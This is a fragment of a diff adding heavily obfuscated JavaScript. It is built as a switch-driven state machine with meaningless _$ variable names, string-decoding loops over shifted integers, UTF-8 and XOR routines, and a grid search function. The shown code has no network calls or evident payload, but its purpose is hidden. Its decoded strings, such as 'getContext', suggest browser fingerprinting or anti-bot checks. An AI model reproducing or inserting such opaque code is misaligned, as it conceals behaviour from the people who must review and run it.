_$qm; + _$vl = _$LC; + _$sl = _$Vm; + _$nl = _$cl[_$vl](_$sl); + _$qm = _$nl; + _$cl = _$qg; + _$vl = _$Hm; + _$sl = _$cl[_$vl]; + _$qg = _$sl + } + _$cs -= 312; + continue; + case 406: + if (_$wD) { + _$cl = _$Zf + _$zf + _$Ef; + _$cT = _$cl; + _$cl = _$cT; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$Bm = _$sl; + _$cl = []; + _$vT = _$cl; + for (_$sT = 0; _$sT < _$Bm; _$sT++) { + _$cl = _$cT; + _$vl = _$OC; + _$sl = _$sT; + _$nl = _$cl[_$vl](_$sl); + _$Xm = _$nl; + _$cl = _$Xm; + _$vl = 65536; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$Xm; + _$fh = 1114111; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$vT; + _$vl = _$LC; + _$sl = _$Xm; + _$nl = 18; + _$fl = _$sl >> _$nl; + _$ol = 7; + _$ll = _$fl & _$ol; + _$hl = 240; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vT; + _$vl = _$LC; + _$sl = _$Xm; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vT; + _$vl = _$LC; + _$sl = _$Xm; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vT; + _$vl = _$LC; + _$sl = _$Xm; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$Xm; + _$vl = 2048; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$Xm; + _$fh = 65535; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$vT; + _$vl = _$LC; + _$sl = _$Xm; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 15; + _$ll = _$fl & _$ol; + _$hl = 224; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vT; + _$vl = _$LC; + _$sl = _$Xm; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vT; + _$vl = _$LC; + _$sl = _$Xm; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$Xm; + _$vl = 128; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$Xm; + _$fh = 2047; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$vT; + _$vl = _$LC; + _$sl = _$Xm; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 31; + _$ll = _$fl & _$ol; + _$hl = 192; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$vT; + _$vl = _$LC; + _$sl = _$Xm; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$vT; + _$vl = _$LC; + _$sl = _$Xm; + _$nl = 255; + _$fl = _$sl & _$nl; + _$cl[_$vl](_$fl) + } + } + } + } + _$cl = _$vT; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$Fm = _$sl; + _$cl = _$Fm; + _$vl = 2; + _$sl = _$cl / _$vl; + _$Fm = _$sl; + _$cl = []; + _$nT = _$cl; + _$cl = 0; + _$Jm = _$cl; + for (_$fT = 0; _$fT < _$Fm; _$fT++) { + _$cl = _$vT; + _$vl = _$Jm; + _$sl = _$cl[_$vl]; + _$eT = _$sl; + _$cl = _$vT; + _$vl = _$Jm; + _$sl = 1; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$rT = _$fl; + _$cl = _$Jm; + _$vl = 2; + _$sl = _$cl + _$vl; + _$Jm = _$sl; + _$cl = _$eT; + _$vl = 46; + _$sl = _$cl - _$vl; + _$eT = _$sl; + _$cl = _$rT; + _$vl = 46; + _$sl = _$cl - _$vl; + _$rT = _$sl; + _$cl = _$rT; + _$vl = 19; + _$sl = _$cl * _$vl; + _$nl = _$eT; + _$fl = _$sl + _$nl; + _$aT = _$fl; + _$cl = _$aT; + _$vl = 11; + _$sl = _$cl ^ _$vl; + _$$m = _$sl; + _$cl = _$nT; + _$vl = _$fT; + _$sl = _$$m; + _$cl[_$vl] = _$sl + } + _$cl = _$BC; + _$tT = _$cl; + for (_$gT = 0; _$gT < _$nT.length; _$gT++) { + _$cl = _$nT; + _$vl = _$gT; + _$sl = _$cl[_$vl]; + _$nl = _$sb + _$vb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$iT = _$ol; + _$cl = _$iT; + _$vl = _$LS; + _$sl = /^1+?(?=0)/; + _$nl = _$cl[_$vl](_$sl); + _$oT = _$nl; + _$cl = _$oT; + _$vl = _$cl; + if (_$vl) { + _$nh = _$iT; + _$fh = _$PC; + _$uh = _$nh[_$fh]; + _$ph = 8; + _$vl = _$uh === _$ph + } + if (_$vl) { + _$cl = _$oT; + _$vl = 0; + _$sl = _$cl[_$vl]; + _$nl = _$PC; + _$fl = _$sl[_$nl]; + _$kT = _$fl; + _$cl = _$nT; + _$vl = _$gT; + _$sl = _$cl[_$vl]; + _$nl = _$rb + _$cb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$_S; + _$hl = 7; + _$gl = _$kT; + _$Zl = _$hl - _$gl; + _$zl = _$ol[_$ll](_$Zl); + _$lT = _$zl; + for (_$uT = 0; _$uT < _$kT; _$uT++) { + _$cl = _$nT; + _$vl = _$uT; + _$sl = _$gT; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$ol = _$rb + _$cb; + _$ll = 2; + _$hl = _$fl[_$ol](_$ll); + _$gl = _$_S; + _$Zl = 2; + _$zl = _$hl[_$gl](_$Zl); + _$lT += _$zl + } + _$cl = _$lT; + _$vl = 2; + _$sl = parseInt(_$cl, _$vl); + _$nl = _$bW(_$sl); + _$tT += _$nl; + _$cl = _$kT; + _$vl = 1; + _$sl = _$cl - _$vl; + _$gT += _$sl + } else { + _$cl = _$nT; + _$vl = _$gT; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$tT += _$nl + } + } + _$cl = _$qg; + _$vl = _$tT; + _$sl = _$cl[_$vl]; + _$qg = _$sl + } + _$cs += 379; + continue; + case 407: + _$pT = _$z; + _$wT = 1; + _$cs -= 322; + continue; + case 408: + _$Py = [95, 109, 19, 18, 115, 82, 45, 20, 28, 116, 114, 117, 118, 90, 119, 61, 99, 120, 111, 121, 33, 110, 122, 48, 86, 53, 123, 88, 92, 124, 125, 44, 40, 126, 51, 31, 9, 127, 128, 129, 130, 113, 131, 132, 75, 133, 104, 134, 135, 136, 98, 56, 137, 62, 66, 26, 138, 139, 140, 141, 142, 96, 143, 5, 84, 1, 112, 144, 13, 16, 145, 32, 68, 79, 81, 80, 146, 49, 72, 50, 58, 147, 65, 148, 149, 150, 151, 22, 85, 24, 7, 152, 36, 87, 38, 6, 153, 2, 10, 74, 100, 27, 154, 69, 52, 77, 12, 91, 43, 155, 46, 102, 78, 156, 34, 17, 106, 67, 14, 70, 157, 103, 158, 15, 159, 101, 160, 161, 97, 162, 55, 163, 164, 73, 165, 166, 167, 168, 169, 170, 3, 171, 21, 93, 107, 59, 35, 172, 29, 30, 57, 173, 174, 11, 175, 176, 177, 25, 41, 178, 179, 180, 181, 23, 71, 0, 39, 42, 182, 183, 108, 63, 8, 94, 64, 184, 83, 89, 60, 185, 47, 4, 186, 187, 105, 37, 76, 54, 188, 189]; + _$cs += 386; + continue; + case 409: + _$wu = _$LY; + _$du = _$Z; + _$aA = 1; + _$cs -= 310; + continue; + case 410: + function _$JQ(_$a, _$e, _$r, _$c) { + var _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$Z, _$z, _$E, _$R, _$_, _$L, _$V, _$q, _$H, _$x, _$B, _$X, _$F, _$J, _$$, _$aa, _$ea, _$ra, _$ca, _$va, _$sa, _$na, _$fa, _$ta, _$ia, _$oa, _$ka, _$ba, _$la, _$ha; + _$v = []; + _$s = _$v; + _$n = 1; + _$f = _$n; + _$t = 1; + _$i = -_$t; + _$o = _$i; + _$k = 2; + _$b = _$k; + _$l = 0; + _$h = _$l; + _$g = _$FQ; + _$u = new _$g; + _$p = _$u; + _$v = _$f; + _$n = _$o; + _$t = _$v + _$n; + _$i = 0; + _$k = _$t > _$i; + if (_$k) { + _$v = _$b; + _$n = 3; + _$t = _$v >> _$n; + _$h = _$t; + _$v = _$o; + _$n = _$h; + _$t = _$v + _$n; + _$h = _$t; + _$v = _$f; + _$n = _$b; + _$t = _$h; + _$i = _$n * _$t; + _$k = _$v >> _$i; + _$l = _$f; + _$g = _$k >> _$l; + _$o = _$g; + _$v = _$o; + _$n = _$h; + _$t = _$v / _$n; + _$h = _$t + } + _$v = _$s; + _$n = _$LC; + _$t = _$a; + _$i = _$e; + _$k = 0; + _$l = [_$t, _$i, _$k]; + _$v[_$n](_$l); + _$v = _$f; + _$n = _$v; + if (_$n) { + _$y = _$o; + _$n = !_$y + } + if (_$n) { + _$v = _$b; + _$n = 3; + _$t = _$v % _$n; + _$h = _$t; + _$v = _$o; + _$n = _$h; + _$t = _$v + _$n; + _$h = _$t + } + _$v = _$N; + _$w = _$v; + _$n = 1; + _$d = _$n; + _$v = 5; + _$n = -_$v; + _$o = _$n; + _$v = _$d; + _$n = 1; + _$t = _$v + _$n; + _$d = _$t; + _$v = _$f; + _$n = _$o; + _$t = _$v + _$n; + _$i = _$f; + _$k = _$t + _$i; + _$l = 0; + _$g = _$k > _$l; + if (_$g) { + _$v = _$f; + _$n = _$b; + _$t = _$h; + _$i = _$n + _$t; + _$k = _$v >> _$i; + _$l = _$f; + _$g = _$k >> _$l; + _$o = _$g; + _$v = _$o; + _$n = _$h; + _$t = _$v + _$n; + _$h = _$t + } + _$v = 1; + _$w = _$v; + _$v = _$o; + _$n = _$b; + _$t = _$v + _$n; + _$i = 0; + _$k = _$t > _$i; + if (_$k) { + _$v = _$o; + _$n = _$h; + _$t = _$v + _$n; + _$h = _$t; + _$v = _$o; + _$n = _$h; + _$t = _$v - _$n; + _$b = _$t + } + _$v = _$BC; + _$M = _$v; + _$v = _$f; + _$n = _$h; + _$t = _$v + _$n; + _$i = _$o; + _$k = _$t < _$i; + if (_$k) { + _$v = _$f; + _$n = _$b; + _$t = _$h; + _$i = _$n + _$t; + _$k = _$v >> _$i; + _$l = _$f; + _$g = _$o; + _$u = _$l - _$g; + _$I = _$k >> _$u; + _$A = _$h; + _$S = _$I >> _$A; + _$h = _$S + } + _$v = _$d; + _$w = _$v; + _$v = _$b; + _$n = 0; + _$t = _$v < _$n; + if (_$t) { + _$v = _$o; + _$n = _$f; + _$t = _$h; + _$i = _$n / _$t; + _$k = _$v >> _$i; + _$l = _$f; + _$g = _$k >> _$l; + _$b = _$g + } + _$v = 198656; + _$n = 204800; + _$t = 204800; + _$i = [_$v, _$n, _$t]; + _$d = _$i; + _$v = _$b; + _$n = _$h; + _$t = _$v + _$n; + _$i = 0; + _$k = _$t < _$i; + if (_$k) { + _$v = _$f; + _$n = _$b; + _$t = _$h; + _$i = _$n * _$t; + _$k = _$v << _$i; + _$l = _$f; + _$g = _$k >> _$l; + _$o = _$g + } + for (_$m = 0; _$m < _$d.length; _$m++) { + _$v = _$M; + _$n = _$d; + _$t = _$m; + _$i = _$n[_$t]; + _$k = 11; + _$l = _$i >> _$k; + _$g = _$bW(_$l); + _$u = _$v + _$g; + _$M = _$u + } + _$v = _$o; + _$n = _$b; + _$t = _$v + _$n; + _$i = 0; + _$k = _$t > _$i; + if (_$k) { + _$v = _$b; + _$n = 2; + _$t = _$v << _$n; + _$b = _$t; + _$v = _$b; + _$n = _$h; + _$t = _$h; + _$i = _$n + _$t; + _$k = _$v >> _$i; + _$l = _$f; + _$g = _$k >> _$l; + _$o = _$g; + _$v = _$o; + _$n = _$h; + _$t = _$v / _$n; + _$h = _$t + } + _$v = _$d; + _$n = _$LC; + _$t = _$w; + _$i = _$v[_$n](_$t); + _$d = _$i; + _$v = _$o; + _$n = !_$v; + if (_$n) { + _$v = _$b; + _$n = 2; + _$t = _$o; + _$i = _$n + _$t; + _$k = _$f; + _$l = _$i - _$k; + _$g = _$v << _$l; + _$b = _$g + } + _$v = _$f; + _$n = !_$v; + if (_$n) { + _$v = 5; + _$n = _$b; + _$t = _$v + _$n; + _$i = 3; + _$k = _$t >> _$i; + _$f = _$k + } + _$v = _$p; + _$n = _$M; + _$t = _$a; + _$i = _$Bu; + _$k = _$t + _$i; + _$l = _$e; + _$g = _$k + _$l; + _$v[_$n](_$g); + _$v = _$o; + _$n = _$h; + _$t = _$v + _$n; + _$i = 0; + _$k = _$t > _$i; + if (_$k) { + _$v = _$b; + _$n = 4; + _$t = _$o; + _$i = _$n + _$t; + _$k = _$v >> _$i; + _$l = 3; + _$g = _$o; + _$u = _$l * _$g; + _$I = _$b; + _$A = _$u + _$I; + _$S = _$k >> _$A; + _$T = 2; + _$j = _$S << _$T; + _$h = _$j + } + while (_$s.length) { + _$v = _$G; + _$C = _$v; + _$n = 1; + _$D = _$n; + _$v = _$D; + _$n = 1; + _$t = _$v + _$n; + _$D = _$t; + _$v = 1; + _$C = _$v; + _$v = _$BC; + _$K = _$v; + _$v = _$D; + _$C = _$v; + _$v = 230; + _$n = 208; + _$t = 210; + _$i = 204; + _$k = 232; + _$l = [_$v, _$n, _$t, _$i, _$k]; + _$D = _$l; + for (_$Q = 0; _$Q < _$D.length; _$Q++) { + _$v = _$K; + _$n = _$D; + _$t = _$Q; + _$i = _$n[_$t]; + _$k = 1; + _$l = _$i >> _$k; + _$g = _$bW(_$l); + _$u = _$v + _$g; + _$K = _$u + } + _$v = _$D; + _$n = _$LC; + _$t = _$C; + _$i = _$v[_$n](_$t); + _$D = _$i; + _$v = _$s; + _$n = _$K; + _$t = _$v[_$n](); + _$W = _$t; + _$v = _$W; + _$n = 0; + _$t = _$v[_$n]; + _$i = _$r; + _$k = _$t === _$i; + _$l = _$k; + if (_$l) { + _$y = _$c; + _$Y = _$W; + _$U = 1; + _$Z = _$Y[_$U]; + _$l = _$y === _$Z + } + if (_$l) { + _$v = _$W; + _$n = 2; + _$t = _$v[_$n]; + return _$t + } + for (_$z = 0; _$z < 4; _$z++) { + _$v = _$W; + _$n = 0; + _$t = _$v[_$n]; + _$i = _$Ng; + _$k = _$z; + _$l = _$i[_$k]; + _$g = _$t + _$l; + _$E = _$g; + _$u = _$W; + _$I = 1; + _$A = _$u[_$I]; + _$S = _$Zg; + _$T = _$z; + _$j = _$S[_$T]; + _$R = _$A + _$j; + _$_ = _$R; + _$L = _$P; + _$V = _$L; + _$q = 1; + _$H = _$q; + _$v = _$H; + _$n = 1; + _$t = _$v + _$n; + _$H = _$t; + _$v = 1; + _$V = _$v; + _$v = _$BC; + _$x = _$v; + _$v = _$H; + _$V = _$v; + _$v = 6815744; + _$n = 6356992; + _$t = 7536640; + _$i = [_$v, _$n, _$t]; + _$H = _$i; + for (_$B = 0; _$B < _$H.length; _$B++) { + _$v = _$x; + _$n = _$H; + _$t = _$B; + _$i = _$n[_$t]; + _$k = 16; + _$l = _$i >> _$k; + _$g = _$bW(_$l); + _$u = _$v + _$g; + _$x = _$u + } + _$v = _$H; + _$n = _$LC; + _$t = _$V; + _$i = _$v[_$n](_$t); + _$H = _$i; + _$v = _$E; + _$n = 0; + _$t = _$v < _$n; + _$i = _$t; + if (!_$i) { + _$y = _$E; + _$Y = _$zg; + _$i = _$y >= _$Y + } + _$k = _$i; + if (!_$k) { + _$U = _$_; + _$Z = 0; + _$k = _$U < _$Z + } + _$l = _$k; + if (!_$l) { + _$X = _$_; + _$F = _$ng; + _$l = _$X >= _$F + } + _$g = _$l; + if (!_$g) { + _$J = _$p; + _$$ = _$x; + _$aa = _$E; + _$ea = _$Bu; + _$ra = _$aa + _$ea; + _$ca = _$_; + _$va = _$ra + _$ca; + _$g = _$J[_$$](_$va) + } + _$u = _$g; + if (!_$u) { + _$sa = _$Gg; + _$na = _$E; + _$fa = _$sa[_$na]; + _$ta = _$_; + _$ia = _$fa[_$ta]; + _$oa = 0; + _$u = _$ia === _$oa + } + if (_$u) { + continue + } + _$v = _$s; + _$n = _$LC; + _$t = _$E; + _$i = _$_; + _$k = _$W; + _$l = 2; + _$g = _$k[_$l]; + _$u = 1; + _$I = _$g + _$u; + _$A = [_$t, _$i, _$I]; + _$v[_$n](_$A); + _$v = _$O; + _$ka = _$v; + _$n = 1; + _$ba = _$n; + _$v = _$ba; + _$n = 1; + _$t = _$v + _$n; + _$ba = _$t; + _$v = 1; + _$ka = _$v; + _$v = _$BC; + _$la = _$v; + _$v = _$ba; + _$ka = _$v; + _$v = 776; + _$n = 800; + _$t = 800; + _$i = [_$v, _$n, _$t]; + _$ba = _$i; + for (_$ha = 0; _$ha < _$ba.length; _$ha++) { + _$v = _$la; + _$n = _$ba; + _$t = _$ha; + _$i = _$n[_$t]; + _$k = 3; + _$l = _$i >> _$k; + _$g = _$bW(_$l); + _$u = _$v + _$g; + _$la = _$u + } + _$v = _$ba; + _$n = _$LC; + _$t = _$ka; + _$i = _$v[_$n](_$t); + _$ba = _$i; + _$v = _$p; + _$n = _$la; + _$t = _$E; + _$i = _$Bu; + _$k = _$t + _$i; + _$l = _$_; + _$g = _$k + _$l; + _$v[_$n](_$g) + } + } + _$v = 1; + _$n = -_$v; + return _$n + } + _$cs += 321; + continue; + case 411: + _$Vh = 1; + _$cs += 205; + continue; + case 412: + for (_$dT = 0, + _$MT = _$mu.length; _$dT < _$MT; ++_$dT) { + _$cl = _$Jo + _$Gf + _$Of + _$Pf + _$Nf + _$Fo; + _$WT = _$cl; + _$cl = _$WT; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$IT = _$sl; + _$cl = []; + _$YT = _$cl; + for (_$UT = 0; _$UT < _$IT; _$UT++) { + _$cl = _$WT; + _$vl = _$OC; + _$sl = _$UT; + _$nl = _$cl[_$vl](_$sl); + _$AT = _$nl; + _$cl = _$AT; + _$vl = 65536; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$AT; + _$fh = 1114111; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$YT; + _$vl = _$LC; + _$sl = _$AT; + _$nl = 18; + _$fl = _$sl >> _$nl; + _$ol = 7; + _$ll = _$fl & _$ol; + _$hl = 240; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$YT; + _$vl = _$LC; + _$sl = _$AT; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$YT; + _$vl = _$LC; + _$sl = _$AT; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$YT; + _$vl = _$LC; + _$sl = _$AT; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$AT; + _$vl = 2048; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$AT; + _$fh = 65535; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$YT; + _$vl = _$LC; + _$sl = _$AT; + _$nl = 12; + _$fl = _$sl >> _$nl; + _$ol = 15; + _$ll = _$fl & _$ol; + _$hl = 224; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$YT; + _$vl = _$LC; + _$sl = _$AT; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 63; + _$ll = _$fl & _$ol; + _$hl = 128; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$YT; + _$vl = _$LC; + _$sl = _$AT; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$AT; + _$vl = 128; + _$sl = _$cl >= _$vl; + _$nl = _$sl; + if (_$nl) { + _$nh = _$AT; + _$fh = 2047; + _$nl = _$nh <= _$fh + } + if (_$nl) { + _$cl = _$YT; + _$vl = _$LC; + _$sl = _$AT; + _$nl = 6; + _$fl = _$sl >> _$nl; + _$ol = 31; + _$ll = _$fl & _$ol; + _$hl = 192; + _$gl = _$ll | _$hl; + _$cl[_$vl](_$gl); + _$cl = _$YT; + _$vl = _$LC; + _$sl = _$AT; + _$nl = 63; + _$fl = _$sl & _$nl; + _$ol = 128; + _$ll = _$fl | _$ol; + _$cl[_$vl](_$ll) + } else { + _$cl = _$YT; + _$vl = _$LC; + _$sl = _$AT; + _$nl = 255; + _$fl = _$sl & _$nl; + _$cl[_$vl](_$fl) + } + } + } + } + _$cl = _$YT; + _$vl = _$PC; + _$sl = _$cl[_$vl]; + _$ST = _$sl; + _$cl = _$ST; + _$vl = 2; + _$sl = _$cl / _$vl; + _$ST = _$sl; + _$cl = []; + _$PT = _$cl; + _$cl = 0; + _$mT = _$cl; + for (_$GT = 0; _$GT < _$ST; _$GT++) { + _$cl = _$YT; + _$vl = _$mT; + _$sl = _$cl[_$vl]; + _$KT = _$sl; + _$cl = _$YT; + _$vl = _$mT; + _$sl = 1; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$QT = _$fl; + _$cl = _$mT; + _$vl = 2; + _$sl = _$cl + _$vl; + _$mT = _$sl; + _$cl = _$KT; + _$vl = 46; + _$sl = _$cl - _$vl; + _$KT = _$sl; + _$cl = _$QT; + _$vl = 46; + _$sl = _$cl - _$vl; + _$QT = _$sl; + _$cl = _$QT; + _$vl = 19; + _$sl = _$cl * _$vl; + _$nl = _$KT; + _$fl = _$sl + _$nl; + _$jT = _$fl; + _$cl = _$jT; + _$vl = 11; + _$sl = _$cl ^ _$vl; + _$TT = _$sl; + _$cl = _$PT; + _$vl = _$GT; + _$sl = _$TT; + _$cl[_$vl] = _$sl + } + _$cl = _$BC; + _$NT = _$cl; + for (_$LT = 0; _$LT < _$PT.length; _$LT++) { + _$cl = _$PT; + _$vl = _$LT; + _$sl = _$cl[_$vl]; + _$nl = _$ab + _$eb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$ZT = _$ol; + _$cl = _$ZT; + _$vl = _$LS; + _$sl = /^1+?(?=0)/; + _$nl = _$cl[_$vl](_$sl); + _$zT = _$nl; + _$cl = _$zT; + _$vl = _$cl; + if (_$vl) { + _$nh = _$ZT; + _$fh = _$PC; + _$uh = _$nh[_$fh]; + _$ph = 8; + _$vl = _$uh === _$ph + } + if (_$vl) { + _$cl = _$zT; + _$vl = 0; + _$sl = _$cl[_$vl]; + _$nl = _$PC; + _$fl = _$sl[_$nl]; + _$ET = _$fl; + _$cl = _$PT; + _$vl = _$LT; + _$sl = _$cl[_$vl]; + _$nl = _$sb + _$vb; + _$fl = 2; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$_S; + _$hl = 7; + _$gl = _$ET; + _$Zl = _$hl - _$gl; + _$zl = _$ol[_$ll](_$Zl); + _$_T = _$zl; + for (_$VT = 0; _$VT < _$ET; _$VT++) { + _$cl = _$PT; + _$vl = _$VT; + _$sl = _$LT; + _$nl = _$vl + _$sl; + _$fl = _$cl[_$nl]; + _$ol = _$ab + _$eb; + _$ll = 2; + _$hl = _$fl[_$ol](_$ll); + _$gl = _$_S; + _$Zl = 2; + _$zl = _$hl[_$gl](_$Zl); + _$_T += _$zl + } + _$cl = _$_T; + _$vl = 2; + _$sl = parseInt(_$cl, _$vl); + _$nl = _$bW(_$sl); + _$NT += _$nl; + _$cl = _$ET; + _$vl = 1; + _$sl = _$cl - _$vl; + _$LT += _$sl + } else { + _$cl = _$PT; + _$vl = _$LT; + _$sl = _$cl[_$vl]; + _$nl = _$bW(_$sl); + _$NT += _$nl + } + } + _$cl = _$LK; + _$vl = _$NT; + _$sl = _$mu; + _$nl = _$_C; + _$fl = _$dT; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$cl[_$vl](_$ol); + if (_$ll) { + _$cl = _$LK; + _$vl = _$mu; + _$sl = _$_C; + _$nl = _$dT; + _$fl = _$vl[_$sl](_$nl); + _$ol = _$cl[_$fl]; + _$Ww += _$ol + } else { + _$cl = _$mu; + _$vl = _$_C; + _$sl = _$dT; + _$nl = _$cl[_$vl](_$sl); + _$Ww += _$nl + } + } + _$cs += 89; + continue; + case 413: + _$Md = []; + _$cs += 201; + continue; + case 414: + _$qT = _$HA; + _$xT = 1; + _$cs += 338; + continue; + case 415: + _$oA = [13184, 12928, 14848, 8576, 14208, 14080, 14848, 12928, 15360, 14848]; + _$cs -= 35; + continue; + case 416: + _$XT = _$YA; + _$FT = 1; + _$cs -= 329; + continue; + case 417: + _$pI = 1; + _$cs -= 352; + continue; + case 418: + for (_$Tg = 0; _$Tg < _$Lg.length; ) { + _$cl = _$mg; + _$vl = _$_C; + _$sl = _$Lg; + _$nl = _$_C; + _$fl = _$Tg; + _$ol = _$sl[_$nl](_$fl); + _$ll = _$OC; + _$hl = _$ol[_$ll](); + _$gl = 32; + _$Zl = _$hl - _$gl; + _$zl = _$cl[_$vl](_$Zl); + _$xI = _$zl; + _$El = _$mg; + _$Rl = _$_C; + _$_l = _$Lg; + _$Ll = _$_C; + _$Vl = _$Tg; + _$ql = 1; + _$tu = _$Vl + _$ql; + _$iu = _$_l[_$Ll](_$tu); + _$ou = _$OC; + _$ku = _$iu[_$ou](); + _$bu = 32; + _$lu = _$ku - _$bu; + _$hu = _$El[_$Rl](_$lu); + _$$T = _$hu; + _$cl = _$_d; + _$vl = _$xI; + _$sl = _$$T; + _$cl[_$vl] = _$sl; + _$cl = _$Tg; + _$vl = 2; + _$sl = _$cl + _$vl; + _$Tg = _$sl + } + _$cs += 137; + continue; + case 419: + _$cA = _$vA; + _$cs += 39; + continue; + case 420: + for (_$TA = 0; _$TA < _$aA.length; _$TA++) { + _$cl = _$SA; + _$vl = _$aA; + _$sl = _$TA; + _$nl = _$vl[_$sl]; + _$fl = 8; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$SA = _$hl + } + _$cs += 64; + continue; + case 421: + if (_$Zg - _$Ng[6]) { + _$cl = _$Zg; + _$vl = _$Ng; + _$sl = 3; + _$nl = _$vl[_$sl]; + _$fl = _$cl + _$nl; + _$Zg = _$fl + } + _$cs += 167; + continue; + case 422: + if (_$ug[_$bA]) { + _$cl = _$U; + _$Lg = _$cl; + _$vl = 1; + _$_d = _$vl; + _$cl = _$_d; + _$vl = 1; + _$sl = _$cl + _$vl; + _$_d = _$sl; + _$cl = 1; + _$Lg = _$cl; + _$cl = _$BC; + _$Ep = _$cl; + _$cl = _$_d; + _$Lg = _$cl; + _$cl = 200; + _$vl = 400; + _$sl = [_$cl, _$vl]; + _$_d = _$sl; + for (_$Ld = 0; _$Ld < _$_d.length; _$Ld++) { + _$cl = _$Ep; + _$vl = _$_d; + _$sl = _$Ld; + _$nl = _$vl[_$sl]; + _$fl = 2; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Ep = _$hl + } + _$cl = _$_d; + _$vl = _$LC; + _$sl = _$Lg; + _$nl = _$cl[_$vl](_$sl); + _$_d = _$nl; + _$cl = _$Y; + _$aj = _$cl; + _$vl = 1; + _$mg = _$vl; + _$cl = _$mg; + _$vl = 1; + _$sl = _$cl + _$vl; + _$mg = _$sl; + _$cl = 1; + _$aj = _$cl; + _$cl = _$BC; + _$Tg = _$cl; + _$cl = _$mg; + _$aj = _$cl; + _$cl = 26368; + _$vl = 25856; + _$sl = 29696; + _$nl = 17152; + _$fl = 28416; + _$ol = 28160; + _$ll = 29696; + _$hl = 25856; + _$gl = 30720; + _$Zl = 29696; + _$zl = [_$cl, _$vl, _$sl, _$nl, _$fl, _$ol, _$ll, _$hl, _$gl, _$Zl]; + _$mg = _$zl; + for (_$xI = 0; _$xI < _$mg.length; _$xI++) { + _$cl = _$Tg; + _$vl = _$mg; + _$sl = _$xI; + _$nl = _$vl[_$sl]; + _$fl = 8; + _$ol = _$nl >> _$fl; + _$ll = _$bW(_$ol); + _$hl = _$cl + _$ll; + _$Tg = _$hl + } + _$cl = _$mg; + _$vl = _$LC; + _$sl = _$aj; + _$nl = _$cl[_$vl](_$sl); + _$mg = _$nl; + _$cl = _$ug; + _$vl = _$Tg; + _$sl = _$Ep; + _$nl = _$cl[_$vl](_$sl); + _$$T = _$nl; + _$fl = _$vs; + _$ej = _$fl; + _$ol = _$W; + _$II = _$ol; + _$ll = 1; + _$AI = _$ll; + _$cl = _$AI; + _$vl = 1; + _$sl = _$cl + _$vl; + _$AI = _$sl; + _$cl = 1; + _$II = _$cl; + _$cl = _$BC; + _$sA = _$cl; + _$cl = _$AI; + _$II = _$cl; + 